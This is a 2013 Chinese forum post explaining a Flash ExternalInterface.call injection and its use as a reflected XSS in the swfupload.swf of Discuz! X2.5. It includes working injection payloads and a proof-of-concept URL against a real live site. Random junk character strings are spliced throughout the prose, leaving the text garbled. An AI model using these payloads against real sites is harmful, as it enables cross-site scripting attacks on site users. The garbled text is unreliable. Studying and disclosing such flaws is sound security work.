找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2086|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说% F% t5 B& a. ^' _8 C6 k# I
: f5 z  ^, H7 c* t" c0 C
flash.external.ExternalInterface.call($methodName, $parameter)
5 g  N- \& V" T! l" h3 t7 h: n在浏览器中执行的是2 @0 n, y& D( ?! h# \5 @1 w! _
& f+ P! T& L6 N# ?7 D) W- r
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& b  Z' I' w( t- ^0 ]  q对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 I4 B6 b! a# w* q7 d/ L& ?

  t! \& |$ U( g- C, Xflash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 N' T$ e/ Q+ ^3 `2 v' {$methodName = a())}catch(e){alert(/xss/)}//
; p1 D8 B- p' I* M( m结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。2 r1 y+ M& s& h8 _- l

# K' {; C+ E4 o0 x, v, ktry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }& h4 Z! C0 v* L9 E! C1 Y

' P2 y6 f& E) T' J: B这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
2 S2 Z" Q  S% _" d; B# Z: t$ C3 Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 u6 M6 O9 u0 Q% g
# ^9 q" }) ^2 c7 K  S0 q

& v6 }2 A3 z, s7 {  u( y! a4 b" U# v6 n* P3 @0 [& w! M
漏洞文件:upload\static\image\common\swfupload.swf1 K! H$ U' J! z! A0 Q! A
! u4 p4 S0 j( ~3 y+ _8 J1 v7 w( t: t
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf8 t3 G/ k* z* c/ e" B
! x9 P9 V0 Q! @# C1 {' o+ ~+ H
7 z( v* `" P) Y1 {3 w) I$ s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
3 b/ Y' S: a% @3 j; H# Y8 Q& ^  U0 U6 P

$ g& g8 G9 t( J0 \2 I  J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表